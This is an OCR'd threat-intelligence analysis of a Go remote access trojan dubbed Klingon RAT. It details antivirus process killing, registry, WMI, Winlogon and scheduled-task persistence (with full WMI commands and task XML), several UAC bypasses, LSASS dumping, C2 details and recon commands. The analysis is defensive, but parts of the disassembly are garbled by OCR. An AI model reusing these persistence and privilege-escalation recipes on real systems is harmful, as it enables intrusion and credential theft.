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With more malware written in Golang than ever before, the threat from Go-based Remote
Access Trojans (RATs) has never been higher. Not only has the number of Go malware
increased but also the sophistication of these threats. This is a technical analysis of an
advanced RAT written in Go that we are calling Klingon RAT. The RAT is well-featured and
resilient due to its multiple methods of persistence and privilege escalation. It was

determined that the RAT is being used by cybercriminals for financial gain. It is important to
stay on top of this threat as it will degrade Antivirus security through killing targeted processes
and hiding communications through encrypted channels.

Technical Analysis

When searching our various hunting platforms for malware one particular sample caught our
eye. This Go sample, active since at least 2019, was flagged as malicious but mostly unique
code by our platform. It is not common to find RATs with very few code reuse. Threat actors
reuse code all the time to expedite malware development. Since it is rare to see a RAT with
such a large amount of code written from scratch, we dug deeper down the gopher hole. This
RAT is full of tactics to combat Antiviruses, maintain persistence and escalate privileges. It
communicates encrypted with its Command and Control (C2) server using TLS and can
receive commands allowing the attacker to fully control the infected machine.
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Figure 1: Old analysis with unique code

Initialization

The malware starts by creating an object whose purpose is to store information about the
victim machine, controller setup and paths to dropped utilities. It will then run a WMI command
(wmic process get Caption,ParentProcessld,Processld) to get all running processes. The
returned value is parsed and stored in a slice. The malware will check this process list and
match it against a list of targeted Antivirus processes. The taskkill command is used to Kill
matching processes and child processes. The targeted processes are linked here. To start
gathering the information on the victim machine, it will get the OS version using the

the public IP address. Finally in this function, it will fetch the machine ID from the registry key
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HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\ as shown in Figure 2. This

ID will later be sent in a beacon to the Command and Control (C2) server.

lea rbp, [rsp+60h+var_8]
oV rax, 0
lo}'g [rsp+60h+var_10], rax
oV [rsp+60h+var_19], 0
orps xmm0, xmm0
ovups [rsp+60h+arg_0], xmm0
oV eax, 80000002h
lo)'d [rspt60h+var 60], rax
lea rax, aTlsDialwithdia+9BEh ; "SOFTWARE\\Microsoft\\CryptographyTLS: s"...
oV [rsp+60h+var 58], rax
oV [rsp+60h+var_50], 1Fh
oV dword ptr [rsp+60h+var_ 48], 101lh
call internal_ syscall windows_registry OpenKey 0
oV rax, [rsp+60h+var_40]
cmp [rsp+60h+var 38], 0
jnz loc_65CE7F
I |
L] v
[T FPE
lea rcx, off 736248
mov [rsp+60h+var_10], rcx loc_65CE7F:
mov [rsp+60h+var_18], rax XOrps xmm0, xmm0
mov [rsp+60h+var_ 19], 1 movups [rsp+60h+arg 0], xmmO
mov [rsp+60h+var_60], rax mov rbp, [rsp+60h+var_8]
lea rax, aMachineguid ; "MachineGuid" add rsp, 60h
mov [rsp+60h+var_58], rax retn
mov [rsp+60h+var_50], O0Bh
call golang_org_x_sys_windows_registry Key GetStringValue
mov rax, [rspt60h+var 40]
mov rex, [rspt60h+var 48]
cmp [rsp+60h+var 30], 0
jz short loc_65CE58
¥ i L ]
P FEE
xorps xmm0, xmm0
movups [rsp+60h+arg 0], xmm0 loc_65CE58:
mov [rsp+60h+var_19], 0 mov qword ptr [rsp+60h+arg 0], rcx
mov rax, [rsp+60h+var 18] mov gword ptr [rsp+60h+arg 0+8], rax
mov [rsp+60h+var 60], rax mov [rsp+60h+var_19], 0
call internal_syscall_windows_registry Key_ Close_2|mov rax, [rsp+60h+var_18]
mov rbp, [rsp+60h+var_ 8] mov [rsp+60h+var 60], rax
add rsp, 60h call internal_syscall windows_registry Key_Close 2
retn oV rbp, [rspt+60h+var_ 8]
add rsp, 60h
retn

Figure 2: Function that fetches the key

Dependency Deployment

Q

aa

The malware will decompress and drop three Gzip embedded files into the %temp% directory.
The dropped files are utilities for the threat actor to use once a C2 channel has been
established. The files dropped are Foxmail, PAExec and LSASS, shown below.
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833dc4c33500. cmp dword [@x@0C

> pxr @ 9x983360
Ox0000000000088b1f . 559903
@xd5147c7dbdecff00
0x605924eecd7c30d9
Oxa0d@4a2a34481661
Oxdc@4c4a’b23b8062
0x4366217175808668
Ox42a5bb74d5b424c4
Ox357674204b680661
@xealfbbdab6Z2ae393
@xbbb7debed8fb@5a3
0x3e69b0dd2d68ad37
Oxa8a@d50a3512f910
0x9881b26241a8dd67
@x7a0@9376673aefef3

Figure 3: Head of embedded Foxmail.exe file, Gzip compressed

| 18e19041 3af (M5 dbB8dfbd2960%eb 877 .db....  5/15/20:7 2988 SESFile 1KE
55| 08315275 7.exe |Lsass 3152021 74988 Application 13 KB
5=| 094633200.exe PAExec 57152021 74880 Application 1853 KB
B=| 119354403, 6% Foxmail 57152021 B35 AN Application 335 KB
| atia-debug-5816.log 502027 1012 Ak Text Docurment OKB

Figure 4: Dropped dependencies Next, the malware will check to see if it is installed at “C:
\Users\IEUser\AppData\Local\Windows Update\updater10.exe.” If not installed, the malware
will be relocated to the path.

Persistence

Persistence can be set up in multiple ways, some of which require admin privileges. Privilege
escalation will be covered in a later section.

Registry Run Key: Current User

The following registry entry is created:
¢ Key: Compute\HKEY_CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\Run
¢ Name: Windows Updater
¢ Value: “C:\Users\\AppData\Local\Windows Update\updater10.exe” -1 -0
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[ Registry Editor
File Edit ‘View Favorites Help
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Backgrour A Marme Type Data

capahilibgd B .

E;rhhw Abl(Defaulty REG_SZ {walue not set)
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ClickMote g

CloudStore

CaontentDel

Contrals Feo

Figure 5: Régistry Run Key

Registry Run Key: Local Machine

A similar entry as the above is created at:
Computer\HKEY _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Image File Execution Options Injection

Image File Execution Options are configured by the Windows registry with the intention of
being used for debugging. This can be leveraged for persistence as any executable can be
used as a “debugger.” The malware ensures the following keys exist:
HKEY_LOCAL_MACHINE Software\Microsoft\Windows NT\CurrentVersion\Accessibility
HKEY_CURRENT_USER Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\magnify.exe The Image File Execution Options key has the following
entries set:

Name Data

Configuration mangnifierpane

Debugger “C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe” -1 -0

This causes the binary for Microsoft Screen Magnifier (magnify.exe) accessibility tool to be
backdoored and execute the malware.

WMI Event Subscription

In this option the malware utilizes “WMIC” to create an event subscription for persistence.
Three commands are executed to create events in the “\rootsubscription” namespace that will
start the payload within 60 seconds of Windows booting up. The commands executed are:
wmic /namespace:\\root\subscription’ PATH __EventFilter CREATE
Name="GuacBypassFilter’, EventNameSpace="root\cimv2', QueryLanguage="WQL’,
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA ‘Win32_PerfFormattedData_PerfOS_System” wmic /namespace:’\\root\subscription’
PATH CommandLineEventConsumer CREATE Name="GuacBypassConsumer’,
ExecutablePath="C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe” -1 -0’,
CommandLineTemplate=""C:UserslEUserAppDatalocalWindows Updateupdater10.exe” -1 -0’
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wmic /namespace:’\\root\subscription’ PATH __ FilterToConsumerBinding CREATE
Filter="__ EventFilter.Name="GuacBypassFilter”,
Consumer="CommandLineEventConsumer.Name="GuacBypassConsomer”)

Winlogon Helper DLL

The malware can modify the “Winlogon” key in order to run itself during Windows logon. The

path of the executable is appended to the “Userinit” entry.

-‘ Reqistry Editor
File Edit View

Favorites  Help

Cornputer\HKEY_LOCAL_MACHINEVSOF TWARE\MicrosoftiWindows NT\CurrentVersion\Mdinlogon

Figure 6: Winlogon registry modified
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SysternRest
Terminal Se
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TokenBroks
Tracing
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Update
VersionsList
Virtualizatic
VolatileNot
WhemPerf
WAFiDirect?
Windows
Winlogon
WinSaT
WinSATAPI
WirelessDo
WOF
WUDF

Mifimdmiais Alhada

Name

3b|DebugServerCo...
4| DisableBackButt..,
%8| DisableCAD

‘-'L'é\ DisableLockWar..,
| EnableFirstLogo...
#8|EnableSIHostint..,
$%|ForceUnlockLog...
WelLastlogOffEndT...
b LastUsedUserna..,
3b) | egalMaticeCap...
ab]LegalMNoticeText
4 PasswordExpiny.
,_ﬂ]"] PowerdownAfte..,
ab| PreCreateknow...
,ﬂ_ﬂ ReportBootOk
ablscrermoveoption
ab| Shell

4] ShellCritical

ab| Shellinfrastructure
18| ShutdownFlags

We| SiHostCritical

W) SiHostReadyTim...
‘.’5'&\ SiHostRestartCo..,
6| SiHostRestartTi..,
ab| Jserinit
2B)yhapplet
abl\inStationsDisa...

Scheduled Task

Type

REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_OWORD
REG_SZ
REG_SZ
REG_SZ
REG_DWORD
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_DWORD
REG_SZ
REG_DWWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_SZ
REG_SZ
REG_SZ

Data

no

(<00000001 (1)

(x00000001 (1)

0x00000000 (0)

0x00000001 (1)

0x00000001 (1)

0x00000000 (0)

xcd13221450 (B42142079152)
IEUser

0x00000005 (5)
0

{25208144-1780-4FF6-BD18-167343C5AF 16}

1

0

explorer.exe

0x00000000 (0}

sihost.exe

0x0000032b (317)

0x00000000 (0

0x00000000 (0}

0x00000000 (0)

0x00000000 ()

CWindows\ Systern32userinit.exe, "ChlUsers\[EUserAppData\LocalWindows Update\updater1Q.exe” -1 -0
SystemPropertiesPerformance.exe fpagefile

0

The malware can create a scheduled task called “OneDriveUpdate” to maintain persistence.
The task is configured from an XML file, “elevator.xml” dropped to APPDATA, to trigger upon

logon.

6/16



<?xml version="1.0" encoding="UTF-16" 72>
= <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mitftask">
g <RegistrationInfo>
<Date>2018-06-09T15:45:11.0109885</Date>
<Author>000000000000000000</ Luthor>
<URI>\Microsoft\Windows\OneDrivelUpdate</URI>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled:>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</User Id>
<RunLevel>HighestAvailable</RunLevel:>
r </Principal>

Tl

LI}

I </Principals>

= <Settingss>
<MultipleInstancesPolicy>IgnoreHew</MultipleInstancesPolicys>
<DiszallowitartIfOnBatteries>false</DisallowStart IfOnBatteries>
<StoplfGoingOnBatteriessfalse</StoplfGoingOnBatteriess
<AllowHardTerminate>false</AillovHardTerminate>
<Startihenivailable>true</3tartihenivailable>
<RunfOnlyIlfNetworkivailahle>false</RunOnlyIfNecworkivailalle:
| <IdleSettings>

<StopOnldleEnd>true</StopCnldleEnds>
<RestartOnldle>false</RestartOnldles>

r </IdleSettings>
<AllowStartOnDemand>true</illovStartOnDemand>
<Enabled>true</Enabled>

<Hidden>false</Hidden>

<RunfnlyIfldle>false</RunCnlyIfldle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimelimit>
<Priority>7</Priority>

E| <RestartOnFailures>

<Interval>PT2H</ Intervals

<Count>999</Count>

E </RestartOnFailure>

r </Settings>

% <Actions Context="Author">

= <Exec>

<Command>"C:\Users\IEUser\AppData\Local\Windows Update\updaterl0.exe" -1 -0</Command>
Iz </Exec>

r </Actionss

= </ Task>

Figure 7: Task configuration file

@ OneDrivellpdate Ready Atlog on of any user 11/30/1999 12:00:00 AM  The task has not yet run, ((41303)

<

General  Triggers Actions  Conditions  Settings  History (disabled)

WiFhen you creste a task, you must specify the action that will occur when your task starts, To change these actions, open the task property pages using the Properties command,

Action Details

Start a program "Ci\Users\IEUser\AppDatatloca\Windows Updatetupdater1 Q.exe” -1 -0

Figure 8: Action of triggering the task The file “elevator.xml” is then removed from the disk.

Privilege Escalation

There are multiple avenues that the malware can take for privilege escalation. It will first test
to see if it already has admin privileges and if it is a Windows server. To check if the process
has admin privileges, it will attempt to open “\W.\\PHYSICALDRIVEQ;” if unsuccessful, the
malware will attempt to open “\W.\SCSIO0.” If successful for either of these, it will return “True”
from the function. If “False,” the program will check to see if it is a Windows server by running
the command “systeminfo,” and parsing for the string “Microsoft Windows Server,” as shown
in Figure 9.
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e

[public client_IsWindowsServer
lclient_ IsWindowsServer proc near

ar_20= gword ptr -20h
ar_ 18= gword ptr -18h
ar_10= gword ptr -10h
ar_8= gword ptr -8
arg_0= byte ptr 8

mov rex, gs:R8h
mov rex, [rex+0]
jcmp rsp, [rcx+10h]
jbe short loc_ 687430
s ik ¥
i = FiE]
sub rsp, 30h
[mov [rsp+30h+var_8], rbp! loc_687430:
lea rbp, [rsp+30h+var_ 8] icall runtime_morestack_noctxt
call client_GetSystemInfo jmp client_IsWindowsServer
cmp [rsp+30h+var_20], 0 client IsWindowsServer endp
jnz short loc_687421
T 1 —_
P FIEE]
lea rax, aMicrosoftWindo ; "Microsoft Windows ServerMontevideo Stan"...
mov [rsp+30h+var_20], rax loc_687421:
mov [rsp+30h+var_ 18], 18h _—_— - _mow Lrsod30h+ara 01. 1 | .
lcall strings_Index aMicrosoftWindo db 'Microsoft Windows ServerMontevideo Standard TimeNorth Asia Standa
lemp [rsp+30h+var 10], . o ; DATA XREF: client IsWindowsServer+3lto
31 short 10c4ﬁ87412 db 'rd TimePacific SA Standard TlnﬁQueryPer'
] T
mov [rsp+30h+targ 0], 1
mov rbp, [rsp+30h+var 8]|[loc_687412:
add rsp, 30h mov [rsp+30h+arg_0], 0
retn mov rbp, [rsp+30h+var_8]
ladd rsp, 30h
iretn

Figure 9: Check for Windows Server The malware has four options for privilege escalation,
one of which is not implemented properly:

UAC Bypass: Computer Defaults

This exploit starts by opening the following registry key: HKEY_CURRENT_USER
(0x80000001) Software\Classes\ms-settings\shel\open\command The default entry is set to
the path of the malware, and an entry “DelegateExecute” has an empty string value added.

Next, the program “computerdefaults.exe” is executed to complete the exploit.
[ Registry Editor

File Edit  Wiew Favorites  Help

Computer\HKEY_CURREMT_USERY Software Classes'ms-settings'shellopentcommand

cormmand A Mame Type Data
rms-sttoverlay

il}jr . REG_SZ O sershEUserdppDatatLocalWindowes Update,,,
Fris - Saneay .
i ab|Delegatebxecute  REG_SZ
rrs-toda - g
mi-to-do

rs-unistore-email

rms-woip-call

Figure 10: Registry set for exploit The key is deleted after exploitation.

UAC Bypass: Fodhelper

This exploit is similar to the Computer Defaults UAC bypass but this time it leverages the
program “Features on Demand Helper” (Fodhelper.exe), a binary with the “autoelevate”
setting set to true. The same registry entries are used.
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|in= loc’ §82DBC
3 3
e
sax, BUDOOOOTE
[rsp+liBhévar_118], rax loc_68208C:
rax, asoftwareClasse 0 ; “Softwar settings\\shell\\". .. |lmov qword ptr (rsp+llBh+arg_10), rex
110, rex mov quozd ptr [rsp+11Bh+arg 1048), rax
ptr [rsp+ll8h+var 110+8], 2Fh ; '/ fmov ax, [rsp+llBh+var_7

dword ptr (rep+llhevar 100, fmov Urep+iishears 201, rax

scall_windows_registry OpenKey 0 lea rdi, [rsp+l18h+arg 28]
rax, quord ptr [TepsllShivat FB) 1oa rei, [rsp+l18h+var 70]

{rsp+llgh+var_E8)
rdx, qword ptr (reptll8h+var FE+8)

fmov u-ponanw.z 128), rbp
rbp, [rspt+ll8htvar 128]

rax
qvord ptr mponanm: 1101, 3
rax, [rsp+ll8h+va:
quord ptr mpmanm
(rsp+118hévar. 100
quord per l:!pﬂlﬁ)\'w-r r8), 2
o8_exec_C
55a pir.[sptl1Bhévar T848]

[rop+T10htvaz BO], o
rex, unk 6F9E
[rsp+i16hsvar | 181, rex

ime_newobJe

runt!

£ax, quord per [[splllﬂhwarillﬂ]
e ptr [rax],

rex, (roptiishivar_B0)

[rex], al

ceiruntime writeBarrier, 0
loc_682C79

- 110+8], rax

[rsprllgh+var_118], rax
internal_syscall_windows_registry Key_Close_2|
rbp, [rep+l1Bh+var 8]

rsp, 118h

-—"—\

=

Figure 11: UAC bypass with Fodhelper exe

UAC Bypass: Disk Cleanup

rbx, off 736248 call 6398
[rep+ilghevar_10), rbx fmov [zbp+0]
[rsp+118h+var CO], rax mov [rsp+1lghivar_8)
[rspt1lBhevar D1, 1 ladd 8h
rdx, r retn
loc 682056
F’ 3
|
TTep+118h+var_CB], rax
[msptilBhivar_11e], rax lloc_682056:
o quord ptr [rsp+l18h+arg 10], rdx
[::pollsh‘vnr 110], xmm0 o qword ptr [rsp+llBh+arg 10+8], rox
d ptr |rnp+]]8nwu! 100], 1 o rax, (rsp+llghivar 7
r-:x, [rsp+118h+var B8] o [nponmoarq 20), rax
quord prT (repellbhevar_¥8), rox lLlea rdi, [rsp+llh+arg 28]
rex, [rsptllBh+var DO 1ea [rap+118h+var_70]
quord ptr [rsp+llBRevar F8+8), o [rsp+llshevar 128), rbp
golang_org_x_sys_w: 3 reglstry Key_setstringvalue[fiea rbp, [r-pnmnwnr 128)
rax, (rsp+ilBh+var E0) lcall  loc 46398C
rex, [rsptllBh+var ES o rbp, [rbp#
rex, rex o (rsp+ilsh+var D1)
Loc_682CFO0 o Tax, [reptliBivas £0)
v [zepelLthevar 118), x
leall  internal_sy: windows_registry_Key_Closs_2
o bp, [x-pummvu 3]
ladd rsp,
[retn
ks i)
[F==
Tax, [reprilfhtvar CO]
[rsp+lishevar 11 10c_ss2cro:
rax, aloTimeoitismsetlfedh ; ‘DelegatesxecutepeviceloControlouplicate’... flaov qword ptr [rsp+llBh+arg 10],
qword ptr [rsp+llBhevar 110], fpov qvord ptr [repslithrarg_ 10441, zax
quord ptr lrlpoll!hova: no-n. “om fmov {Feptl1enivaz_7e)
dword ptr [rsp+ll8h+var_100] |mov Teaptiiohsarg 301,
Xm0, 0 lea xdi, luwnemarg,ﬂl
(£sptilshevar F8], xmm 1ea rsi, [rsp+l18htvar_70]
golang org x 5ys | s taioes _registry_Key_setStringvalue [pov [ropt+iiBhivar 128]; rbp
rax, 18hevar_E8] 1ea rbp, [rop+118hevar 128]
rex, |rspunehwu_zol [air  1ocss3sec
rax, rax fmov £bp, [rbp+0]
loc’ 682C8A [pov [rsp+llghevar D1], 0
v rex, [raptii8hevar c0)
[pov [rsptiiBhévar 118
[alr  Intoraal syscall windows_registry Key_Close 2
fmav rbp, [rsp+llBhevar_8]
add rep, 118h
retn
L v
[ pﬂlamvn 118], rax [10c_sezceA:
time 51 quord ptr [rsp+llghtarg_10], rax
o, xmmg qword ptr [rsp+118htarg_10+8], rex
[rsp+118htvar 98], ax, [rsptil8h+var 78]
(zepeLishever e8], mu [rsptilsh+arg 201, rax
rax, rdi, [rsp+l18Rtarg 28]
q-.m-a ptr |upuzanwu s8], zax rei, [rsp+l1Bh+var_70]
quord pt +var 2 [rsptiléhsvar_128], rbp
= -rumnwundinnaen Pt em32\\fodhelper .execap” ... top, [raptilshevar 12e)
r [rep+l1Bhtvar B8], rax 463
qunrd ptr |z.p¢ush var 88+8], 21h ; 'I ot oo
acmd cmd [npumnwu b1
[esptiishevar_115], rax, [rsptllghevar cﬂ]

This UAC bypass works by leveraging the scheduled task named “SilentCleanup.” This task
runs with the highest privileges but is configured to have the ability to be executed by

unprivileged users.
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General Triggers Actions Conditions  Settings  History (disabled)

Marme: SilentCleanup

Lacation: “WicrosofthWindowstDisk Cleanup
Author Ficrosoft Corporation

Description: | Maintenance task used by the systern to launch a silent auto disk cleanup when running low on free disk space,

Security options

When running the task, use the following user account:
Users

Fun only when useris l[ogged on
Rurn whether user 15 logged on or ot
Do not store password, The task will only hawve access to local resources

Rur with highest privileges

Figure 12: Config for SilentCleanup The malware attempts to leverage the environment
variable “%windir%” to execute itself with higher privileges. The scheduled task runs an action
“%windir%\system32\cleanmgr.exe,” therefore the malware tries to set the “windir” variable to
the path of the malware.

General Triggers Actions  Conditions  Settings  History (disabled)

Mifken wou create a task, you must specify the action that will occurwhen your task starts, To change these actions, open the task property pages using the Properties command,

Action Details

Start a program FowindirdthsystemITheleanmagrexe fautoclean fd #systerndrive®

Figure 13: Action of the scheduled task (SilentCleanup)
ﬁ Registry Editor

File Edit ‘Wiew Favorites  Help

Carnputer\HEKEY_CURRENT_USER\Enwiraniment

VE Cornputer A
HEEY_CLASSES_ROOT
v HKEY_CURREMT_LISER
AppEvents

Type Data

REG_SZ {walue not set)

Console

Contral Panel
Emvironment
EUDC

Keyboard Layout
MNetwork

Printers

Softuvare

Systern

Yolatile Enviranment Ab]yindir REG_SZ “Chdsersh ELser2ppDatat Locahiiindowes Updatetupdater0exe” -0 -1
v HEEY_LOCAL_MACHIME
‘ BCDO0000000

Figure"ﬁl'.:”‘;\;vindir” variable set in the registry After setting the registry, the malware runs the
scheduled task.
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Xorps
[movups
movups
lea
[mov
[mov
lea
[mov
[mov
lea
[mov
[mov
lea
[mov
[mov
[mov
call
[mov
[mov
Xorps
[movups
[movups
[movups
lea

xmm0, xmmO

[rsp+140h+var_DO0], xmmO

[rsp+l40h+var CO0], xmm0

rax, aC_0 ; /e

gword ptr [rsp+l40h+var_D0], rax

gword ptr [rsp+l40h+var DO+8], 2

rcx, aSchtasksRunTnM ; "schtasks /Run /TN \\Microsoft\\Windows"...
gword ptr [rsp+l40h+var C0], rcx

gword ptr [rsp+l40h+arg 10+8], rax

v
oV rax, [rsp+l40h+var_78]
v [rsp+140h+arg 20], rax
lea rdi, [rsp+140h+arg 28]
lea rsi, [rsp+l40h+var_70]
v [rsp+140h+var 150], rbp
lea rbp, [rsp+l40h+var 150]
all loc_46398C

qword p:‘s [£35chtasksRunTnM db 'schtasks /Run /TN \Microsoft\Windows\DisEEleanuEtgilé;ﬁ:-Eiga’nup /1’

rdx, aCi

; DATA XREF: client uac_once_w32_nt once_silentCleanup+253to

[rsp+1l40h+y ; client_uac_once_w32_nt_once_silentCleanup+305to
[rsp+140h+Vas—souyy el e e e e A

rbx, [rsp+l40h+var_DO] icall internal syscall windows_registry Ke
[rsp+140h+var 130], rbx mov rbp, [rsp+l40h+var 8]
[rsp+140h+var_128], 2 ladd rsp, 140h

[rsp+l40h+var 120], 2 retn

os_exec_Command

rax, [rsp+l40h+var_118]
[rsp+140h+var BO], 0
xmm0, xmmO
[rsp+140h+var A8], xmm0
[rsp+140h+var 98], xmmO
[rsptl40h+var B8], xmm0
rcx, acmd ; "emd"

Figure 15: Execution of the scheduled task The resulting process:

[ swchost.exe a0z 213 0B NTAUTHORITYASYSTEN - Hist Process for Windouss Ser.
[55] swehost.exe 1016 [ updaterQ.exe (704) Properties = O
(8= swchostexe 1040
& suchost.exe 1048 Memory Environment Handles GRLI Disk and Metwork  Comment r GlisershAIEUs erthApphatashLoca)
05| svahEss o 1136 General Skatistics Performance Threads Token Modules
[85] suchostexe 1152 File
& svehost.exe 1160 e Permmizsions for updater]Qexe x
[ swchostexe 1272 -E (LNYERIFIED) Secuity
[55] swchost.exe 1328 Wersion: MG _
v E swehost.exe 1464 Image Fle name: [Froup or user names
Bl conhostexe s ‘ CriUsersiIEUser AppDataiLocallwindows L\pdategupdaterlu.exe‘ B2 Admivistratars (MSEDGEWINT N dmivishiatars)
V¥ VBoxService.exe 1500 4.55 &7 LogarSessionld_0_734883 (NT AUTHORITY)
ce.Exe .55
Process
swchostexe 1520
g w}wm Exe 13_:‘ Command line: ‘ dateril.exe" -0 -1isystem32ideanmar. exe fa)
swchost.exe 2
[E] svchost.exe 5644 Current directory: ‘ indowes!system3zy, : ‘
. ddd.. Remove
[5] MisSrv.exe 7980 Started: ‘ 2 minutes and 40 seconds ago (1:45:55 AM 6]: M
svchast.e 7024 e e .
g "‘E;mt exe 4:18 PER address: ‘ O3c7000 ‘ Image t Fermissions for SYSTEM Al Deny
svchost.exe
Full contral 0o =~
¢ Farent: svihost.exe (1464 T .
[83] Isass.exe bt aren ‘ Penost Exe | J Guery limited information O
o a7 L - B
[ fontdrehost.exe 828 Mitigation policies: ‘ DEP {permanent) ‘ Duery information O
=
— Set infamation |
sage: 24.93%  Physical memony: 2,22 GBE (36.90%) P Protection: Mone Fermissions Tl e
b b idehsiode L — el quatas D w
e NnOoNNNNNNNNREI7TNR ‘ 4
£ For special permissions of advanced settings. | aguanced |

ptr ss:[rsp+a0]=[000000 000143 AE0]=64557

Figure 16: The

elevated process

UAC Bypass: Event Viewer

click ddvanced

Based on the strings in this path, it appears that the malware intended to leverage the “Event
Viewer” UAC bypass. But this does not appear to be properly implemented in the program.
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https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/

FEE

public client_uac_once_w32_nt_once_eventvwr
client uac_once_w32_nt_once eventvwr proc near

var 88= gword ptr -88h
var 71= byte ptr -71h
var 70= gword ptr -70h
lvar 68= byte ptr -68h
var 8= gword ptr -8

arg 10= xmmword ptr 18h
arg 20= gword ptr 28h

arg 28=

oV
oV
cmp
jbe

byte ptr 30h

rex, gs:28h
rcx, [rex+0]
rsp, [rcx+10h]
loc_6826FF

v

FEE

rsp, 78h
[rsp+78h+var 8], rbp
rbp, [rsp+78h+var 8]
[rsp+78h+var 71], 0
xmm0, xmmO
[rsp+78h+arg 10], xmmO
[rsp+78h+arg 20], 0
rdi, [rsp+78h+arg 28]
rdi, [rdi-20h]
[rsp+78h+var_ 88], rbp
rbp, [rsp+78h+var 88]
loc_463631

rbp, [rbpt+0]

[rsp+78h+var 70], rax
rdi, [rsp+78h+var 68]
rsi, asc_78E6A8 ; "\b"
[rsp+78h+var 88], rbp
rbp, [rsp+78h+var 88]
loc_46398C

rbp, [rbp+0]

xmml, xmml
[rsp+78h+arg 10], xmml
rax, [rsp+78h+var 70]
[rsp+78h+arg 20], rax
rdi, [rsp+78h+arg 28]

lea rsi, [rsp+78h+var_ 68]
oV [rsp+78h+var 88], rbp
lea rbp, [rsp+78h+var 88]
all loc_46398C

oV rbp, [rbp+0]

oV rbp, [rsp+78h+var 8]
add rsp, 78h

retn

rax, cs:0ff 78E6A0 ; "eventvwrevpn.exe"

loc_6826FF:

call
jmp

runtime morestack noctxt
client_uac_once_w32_nt_once_ eventvwr

client_uac_once_w32_nt_once_eventvwr endp

Command and Control

Figure 17: References to “eventvwr” in a function called by “MakeAdmin” parent

shellSessions [Jcontrol.Shell

bot model.Bot
connection net.Conn

Before Command and Control (C2) is established the malware initiates a controller struct:
type control.Controller struct{

socksSessions [Jcontrol.SocksProxy

keepAlive net.Conn }
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First, a x509 keypair is decoded from Base64 and loaded by the function tls.x509KeyPair.

¥

rsp, 178h

[rsp+l78h+var 8], rbp

rbp, [rsp+l178h+var 8]

rax, cs:encoding base64_StdEncoding
[rsp+l178h+var 178], rax

rax, aLsOtlslcrudjti ; "LSO0tLS1CRUAJTiBDRVJIUSUZJQOFURSOtLSOtCkl"...
[rsp+178h+var 170], rax

[rsp+l178h+var_ 168], O0A8Ch

encoding_baseé64 ptr_Encoding__DecodeString
rax, [rsp+l78h+var 160]

[rsp+l78h+var AO], rax

rcx, [rsp+l78h+var 150]

[rsp+178h+var B8], recx

rdx, [rsp+l78h+var 158]

[rsp+l78h+var CO0], rdx

rbx, cs:encoding base64_StdEncoding
[rsp+178h+var_178], rbx

rbx, aLsOtlslcruthl 1 ; "LSO0tLS1CRUAJTiBSUQOEgUFJJVKFURSBLRVkKtLS0"...
[rsp+178h+var_ 170], rbx

[rsp+178h+var_168], 10ECh

encoding base64 ptr_Encoding DecodeString
rax, [rsp+l78h+var 160]

rex, [rsptl78h+var 150]

rdx, [rspt+l78h+var 158]

rbx, [rsp+l78h+var A0]

[rsp+178h+var_ 178], rbx

rbx, [rsp+l78h+var CO]

[rsp+178h+var_170], rbx

rbx, [rsp+l78h+var B8]

[rsp+l178h+var 168], rbx

[rsp+178h+var_160], rax

[rsp+178h+var 158], rdx

[rsp+l178h+var 150], rex
crypto_tls_X509KeyPair

rax, [rsp+l78h+var 148]

Faamee 11770k laemae OA [,

Figure 18: Loading x509 key pair The decoded keypair is linked here and here. Strings from
this certificate can be matched to strings in the Issuer DN of a similar certificate with subject
“‘UrbanCulture, Inc.” A further PEM certificate is decoded and appended to the cert pool. A
TLS handshake is performed with the C2 server 185.188.183[.]144 on the port 1141 and then
creates a Goroutine called “Controller.WaitCommands.” The malware is able to:

o Start a SOCKS proxy (‘proxy’)

o Start a reverse shell (‘shell’)
Start an RDP server (‘rdp’)
Start a binary (‘binary’)
Update binary (‘update’)
Run PowerShell command (‘cmd’)

The malware will initiate further Goroutines to collect information from the system. If running
as administrator, it will run the Lsass binary previously dropped into the temp folder.

P LA L UL OO L e e P UM TR e M

ol Dump 1 a2y Dump 2 % Dump 3 oty Cump 4 bty Dump 5 “E"" Watch 1 [x=] Locals é,;’ Skruck

Address Hex ASCIT
000000CO00276C00 (43 A 5C B5 |72 65 72 73|5C 49 45 SE(73 &5 72 cC|@:\UsershIEUsery,
000000C000276C10 (41 70 70 44|61 74 51 S|4 &6F 63 8l |6C 5C 54 &5 [AppDatasLocal™Te

aoooooCo002 Fecz20 | &0 7O BC 35|38 33 3 3E (31 3IF 39 3I5|ZE &G ?8 G5 [mMphE&E3E8179E. EXE
nnnnnnennn? Fecanl 31 s a0 srleE ne 7nlzn ne 77 aclan aF nrla kTahn Gha’ T

Figure 19: Path of the Lsass blnary to be executed The results are stored in a file called
“‘Andrew.dmp” inside the temp folder. This information is sent to the C2 server through a HTTP
POST request.

Lsass.exe
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https://golang.org/pkg/crypto/tls/#X509KeyPair
https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/b283988a0bf4f2d51f9a3f4697055901
https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/bd0ec3fbbf3b1bb1496dd8a53c4fb7e6
https://search.censys.io/certificates/226a9e9c05935884da5507c7647c5e404faf349bdbaf170b9a4c064f7cc697fe

| ¥ = | Termp

Haome Share ] iy

= v » |EUser » AppData » Local » Temp
Marne Date mu:udxi'fied Type Size
#F Quick access

B Nesktnn
Figure 20: Location of dump file Another routine will take a fingerprint of the machine,

concatenating the results into a string, and send this off in a HTTP POST request. It runs the
following commands in this order:
1. systeminfo
. ipconfig
. net view /all
. net view /all domain
. net users /domain
. nltest /domain_trusts
. nltest /domain_trusts /all_trusts

| | Andrew.dmp 6372027 1:04 AkA DhAP File

N o ok WD

